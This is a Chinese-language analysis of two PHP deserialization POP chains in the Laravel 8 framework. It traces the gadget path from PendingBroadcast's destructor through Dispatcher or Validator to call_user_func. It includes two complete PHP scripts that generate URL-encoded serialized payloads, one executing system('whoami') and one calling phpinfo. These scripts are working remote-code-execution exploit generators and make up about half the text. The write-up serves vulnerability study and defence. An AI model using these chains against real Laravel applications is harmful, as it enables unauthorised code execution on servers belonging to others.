Laravel8反序列化POP链分析
POP链一
使用\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
中__destruct
方法。其中events
和event
都可控,那么咱们就可以指定一个存在dispatch
方法的类来继续寻找能够RCE的方法,并且这个dispatch
必须是可以传参的。

全局搜索在\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php
下就存在一个dispatch
方法,是一个简单的三目运算。咱们先看如果前面运算为True
情况下进入dispatchToQueue
有没有RCE的可能。

跟进dispatchToQueue
方法可以看到该方法存在调用call_user_func
的其中参数1就是dispatch
方法下的$this->queueResolver
,是可控的,参数2是传入$command
变量的一个属性。因此可以知道$command
数据类型必须为一个对象。

分析完dispatchToQueue
咱们回到dispatch
方法。要想进入dispatchToQueue
需要queueResolver
为True
这个很简单,随便一个函数名就行了。我们只需要看$this->commandShouldBeQueued($command)
能否返回为True
,我们跟进这个方法。通过该方法注释就能快速看出该方法返回值就是一个Bool
类型,怎样才能让其返回true
呢?可以看到其对$command
的类型进行了判断,只要是 ShouldQueue
对象就返回True
。

因此咱们再找一个 继承ShouldQueue
的方法即可。

那么这条链的思路就清晰了,因此构造如下POP链:
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent{
public $connection;
public function __construct($command){
$this->connection = $command;
}
}
}
namespace Illuminate\Bus{
class Dispatcher {
protected $queueResolver;//该属性为call_user_fun的第一个参数
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace{
$b = new Illuminate\Bus\Dispatcher("system");//存在dispatch方法
$c = new Illuminate\Broadcasting\BroadcastEvent("whoami");
$a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
echo urlencode(serialize($a));
}
?>
POP链二
除了寻找存在dispatch
方法的还可以找到存在call
的类例如laravel/vendor/laravel/framework/src/Illuminate/Validation/Validator.php
就存在一个call
,代码简单看一下他会对传入的$mothod
我们用上一个链的入口那么$mothod
的值将会固定为dispatch
。而想进入第一个分支则需要在$extensions
数组中存在下标为$rule
的值,$rule
的值是从$mothod
的第八位开始取得正好为空,我们只需要定义$extensions[""=>'值']
即可进入第一个分支。

我们继续跟进 callExtension
方法。可以看到这里使用了动态拼接函数,而这个回调函数($callback)
正是$extensions
中键名为空的值。参数就是$method
所传入的值。

据此可以构造如下POP链:
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Validation{
class Validator{
public $extensions = [''=>'phpinfo'];
}
}
namespace{
$b = new Illuminate\Validation\Validator();
$c = 1;
$a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
echo urlencode(serialize($a));
}
?>